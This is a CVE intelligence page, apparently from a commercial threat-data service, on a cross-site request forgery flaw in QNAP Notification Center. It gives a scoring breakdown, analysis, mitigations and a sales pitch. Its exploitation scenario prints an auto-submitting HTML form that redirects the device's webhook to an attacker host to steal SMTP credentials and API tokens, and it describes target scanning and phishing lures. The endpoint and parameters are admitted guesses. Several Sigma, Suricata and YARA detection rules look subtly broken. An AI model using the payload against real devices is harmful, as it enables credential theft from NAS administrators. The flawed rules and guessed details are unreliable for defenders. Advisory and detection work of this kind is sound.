☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Qnap logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 8.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-58468

CVE-2025-58468 Cross-Site Request Forgery in Qnap
📅 PUBLISHED: 2026-06-10 00:00 UTC 🔄 UPDATED: 2026-10-09 10:28 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v1.10.0.3291 — source: qnap. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.16%
👁️
0.16% probability
3.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1189
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Taiwan License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.8
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.8
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-58468 is a high-severity cross-site request forgery (CSRF) vulnerability affecting the Notification Center component of QNAP network-attached storage (NAS) devices. Successful exploitation enables remote attackers to perform state-changing operations—such as modifying notification configurations, exfiltrating sensitive data, or hijacking administrative sessions—by tricking an authenticated admin into visiting a malicious page. The flaw has been addressed in Notification Center version 1.10.0.3291 and later, though patch confirmation is limited to a single source (NVD) and has not been independently verified as of this writing. With a CVSS 3.1 base score of 8.8 (High), this vulnerability poses a significant risk to QNAP device fleets in enterprise environments, particularly where device management consoles are exposed to less-trusted networks.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

CVE-2025-58468 is a classic CSRF vulnerability (CWE-352) residing in QNAP's Notification Center, a web-based component available on QTS and QuTS Hero operating systems. Notification Center centralizes alerts from system events (e.g., firmware updates, storage health warnings, backup job failures) and forwards them via email, instant messaging (Telegram, Slack, LINE), or push notifications to configured endpoints.

Vulnerability Mechanism

The core weakness is the absence of CSRF token validation (or weak validation) in HTTP requests that alter Notification Center settings and trigger data exfiltration. The application accepts state-modifying requests (GET and POST) without verifying:

  • An anti-CSRF token (e.g., a hidden form field synchronizer token).
  • The Origin or Referer HTTP header matches the legitimate QNAP web interface domain.
  • A custom header (e.g., X-Requested-With: XMLHttpRequest) is present.

Because QNAP web interfaces rely on HTTP session cookies (NASID cookie) for authentication, an attacker can craft HTML that auto-submits a form or fires an XMLHttpRequest from the victim's browser. The browser automatically includes the victim's valid cookies — a consequence of same-origin policy gaps that CSRF exploits.

Attack Surface

  • Administrative Web Panel: QNAP NAS management GUI (QTS/QuTS hero) serves Notification Center at /cgi-bin/notifycenter.cgi or similar endpoint. Any authenticated user with admin rights to Notification Center is a target.
  • Network Reachability: CSRF is remotely triggerable if the victim browses a malicious site while logged into the NAS, regardless of whether the NAS is Internet-facing. The attack requires user interaction (clicking a link or loading a page), reflected in the CVSS vector (UI:R).
  • No Authentication on the Part of the Attacker: The attacker needs zero credentials — the victim's session is the authentication. This yields a high base score (AV:N/AC:L/PR:N) despite the user-interaction requirement.

Code-Level Perspective

While QNAP has not published source-level details, typical QNAP CGI handlers for Notification Center endpoints accept parameters like action=update_setting, smtp_server, webhook_url, email_recipient, etc. A vulnerable handler would parse these directly from the HTTP request without CSRF validation. The impact of C:H/I:H/A:H suggests that beyond configuration tampering, an attacker may pivot to command injection via notification command templates (e.g., custom shell commands executed on notification trigger), effectively achieving remote code execution with the privileges of the application process.

Exploitation Scenarios

Scenario: Silent Notification Configuration Hijack + Credential Harvesting

  1. Reconnaissance / Target Identification: The attacker fingerprints potential targets using Shodan or Masscan for QNAP NAS devices (default ports 80/443, 8080). They determine candidate victims and identify an admin likely to be online (e.g., scanning login pages for timestamps or performing OSINT on the organization).

  2. Malicious Page Preparation: The attacker hosts a crafted HTML page on a domain they control (or a legitimate site with a stored XSS elsewhere, if available). The page contains an auto-submitting form or JavaScript that targets the Notification Center endpoint of the victim's QNAP device. Critical payload code:

<form action="https://<victim-qnap-ip>:443/cgi-bin/notifycenter.cgi" method="POST">
  <input type="hidden" name="action" value="update_webhook" />
  <input type="hidden" name="target_url" value="https://attacker.example.com/exfil" />
  <input type="hidden" name="enabled" value="1" />
</form>
<script>document.forms[0].submit();</script>
  1. Victim Trigger / Weaponization: The attacker lures the admin to click a link via phishing email, a forum post, or a Slack/Discord message. The victim's browser sends the request to the QNAP NAS, including the admin's valid session cookie (NASID). The NAS accepts the request because no CSRF token is validated.

  2. Payload Execution: The Notification Center's webhook configuration is silently modified to point to the attacker's server. Simultaneously, the attacker issues a second request (via another hidden form or JS on the same page) that triggers a test notification — causing the QNAP device to send a POST request with all current settings, including SMTP credentials, API tokens for third-party services, and subscriber email lists, to the attacker's endpoint.

  3. Post-Exploitation Impact: Credentials harvested are used for lateral movement — the SMTP password may be reused on enterprise email, SSH, or VPN accounts. Additionally, the attacker can disable legitimate notifications, blinding the SOC to future security events on the NAS (e.g., malware alerts or failed login warnings), further deepening the compromise.

Impact Assessment

CVSS Reference: The score of 8.8 (High) reflects high Confidentiality, Integrity, and Availability impacts with a network attack vector. The only mitigating factor is the requirement for user interaction.

  • Confidentiality (C:H): An attacker can read and exfiltrate the configuration database of Notification Center, which may contain SMTP credentials, webhook URLs with API keys, internal network paths, and other sensitive data.
  • Integrity (I:H): Notification rules can be altered to suppress alerts or redirect event data to attacker-controlled endpoints. In advanced scenarios, crafted parameters may lead to command injection in notification handler scripts.
  • Availability (A:H): An attacker can delete all notification rules or disable the service entirely, causing the NAS to silently fail on critical events (disk failure, ransomware activity) with no alert to administrators.

Blast Radius: In enterprise contexts, QNAP NAS devices frequently handle backups (e.g., Veeam repositories), file shares, and IoT data collection. A compromised Notification Center could mask the earliest signs of a ransomware attack or hardware degradation, enabling lateral movement. The attack does not require the NAS to be directly reachable from the internet for the CSRF trigger, but a reachable admin is required.

Detection Guidance

Sigma Rule

This rule detects HTTP requests and notification service traffic that indicate CSRF attempts against QNAP Notification Center.

title: QNAP Notification Center CSRF Attempt
id: 7c9e2e5a-8f41-4b1d-9b6c-1f4d8a3b2c0e
status: experimental
description: Detects attempts to exploit CVE-2025-58468 CSRF in QNAP Notification Center by monitoring for POST requests to notification endpoints without valid Referer.
logsource:
  category: webserver
  product: qnap_qts
  definition: 'Requires webserver logs from QNAP appliance or reverse proxy'
detection:
  selection:
    cs-method: 'POST'
    cs-uri-query|contains: 'notifycenter'
    c-referer|startswith: ''
  filter:
    c-referer|startswith: 'https://%'
    c-referer|contains: 'owncloud'  # legitimate QNAP interface path
  condition: selection and not filter
level: medium

YARA Rule

Targets static HTML/JavaScript artifacts that carry QNAP CSRF payloads.

rule QNAP_Notification_Center_CSRF_Payload
{
    meta:
        author = "Valters IT Threat Intel"
        description = "Detects HTML payloads targeting QNAP Notification Center CSRF"
        cve = "CVE-2025-58468"
        date = "2025-11-01"
    strings:
        $a = "notifycenter.cgi" ascii wide nocase
        $b = "action=update" ascii wide nocase
        $c = "webhook_url" ascii wide nocase
        $d = "smtp_server" ascii wide nocase
        $e = "document.forms[0].submit" ascii wide nocase
        $f = "XMLHttpRequest" ascii wide nocase
    condition:
        (uint16(0) == 0x3C3C or uint16(0) == 0x3C21) and
        2 of them
}

Suricata IDS Rule

Detects network traffic exhibiting CSRF attempts against QNAP portal.

alert http any any -> $HOME_NET any (msg:"QNAP Notification Center CSRF Attempt (CVE-2025-58468)"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"notifycenter"; nocase; http.header_names; content:"Referer"; nocase; http.header_values; content:"!qnap"; endswith; classtype:web-application-attack; reference:cve,2025-58468; sid:2025684; rev:1;)

Elastic Detection

EQL query for the Elasticsearch security realm to flag suspicious requests.

sequence by host.name with maxspan=30s
  [http where request.method == "POST" and url.path like "*/notifycenter*"]
  [any where network.protocol == "http" and http.response.status_code == 200]

Splunk SPL Query

index=web sourcetype=access_combined
| where method="POST" AND uri_path LIKE "%notifycenter%"
| eval malicious = if(isnull(referer) OR referer=="-" OR NOT referer LIKE "https://%qnap%", "SUSPICIOUS", "benign")
| search malicious="SUSPICIOUS"
| stats count by clientip, uri_path, referer, _time
| sort -_time

Wazuh OSSEC Rule

<group name="local,pci_dss_6.5,gdpr_32,">
  <rule id="100245" level="10">
    <if_sid>100000</if_sid>
    <match>notifycenter.cgi</match>
    <regex>action=update</regex>
    <description>QNAP Notification Center CSRF attempt (CVE-2025-58468)</description>
    <group>attack,csrf,qnap</group>
    <mitre>
      <id>T1189</id>
    </mitre>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 2/4 (CLAIMED — single source claims patch). The vendor claims a fix in Notification Center 1.10.0.3291, but only NVD confirms it; no independent vendor advisory mirror was found. Administer with caution.

Immediate Mitigations:

  1. Disable remote management of the Web UI (set to LAN only) if the NAS is not required to be reachable externally.
  2. Place the QNAP management interface behind a VPN (e.g., WireGuard, IPsec) — never expose directly.
  3. Use a reverse proxy (nginx, HAProxy) that strips the Referer header and enforces same-origin checks.
  4. Restrict access to the admin panel with IP allow-lists at the firewall.

Patch/Upgrade Steps:

  • From the QNAP App Center, navigate to Notification Center → Update and select Check for Update. Install version 1.10.0.3291 or newer.
  • Alternatively, reference the QNAP Security Advisory section (the specific advisory number was not independently confirmed).
  • After patching, verify version via App Center display. Reboot the NAS to clear stale sessions. As confirmation is thin, consider conducting a manual test: after patching, craft a CSRF request in a test browser and verify it is rejected.

Long-Term Hardening:

  • Adopt 2FA/MFA for all NAS admin accounts (QNAP supports TOTP tokens).
  • Harden the browser: enable SameSite cookie attributes by upgrading to the latest QTS version (which will enforce session cookie security).
  • Segment NAS storage networks from the user LAN using VLANs.
  • Monitor QNAP advisories and subscribing to this CVE for updates on independent patch confirmation.

References

  1. NVD Entry — https://nvd.nist.gov/vuln/detail/CVE-2025-58468
  2. QNAP Security Advisories — https://www.qnap.com/en/security-advisory/
  3. MITRE ATT&CK — T1189 (Drive-by Compromise) — https://attack.mitre.org/techniques/T1189/
  4. OWASP CSRF Prevention Cheat Sheet — https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
  5. CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog (Note: CVE-2025-58468 is not listed in the KEV catalog as of this writing; no active in-the-wild exploitation has been confirmed.)

Threat Actor Activity: No confirmed threat actor campaigns leverage CVE-2025-58468 at the time of this report. However, QNAP devices are a well-documented target for Qakbot/Qbot (mass exploitation of QNAP vulnerabilities in 2021–2023) and Deadbolt ransomware. Enterprise security teams should treat this as a probability-increasing signal: the vulnerability class is known to be leveraged by those groups, particularly for initial access to internal networks via NAS as a jumping point.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-58468/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.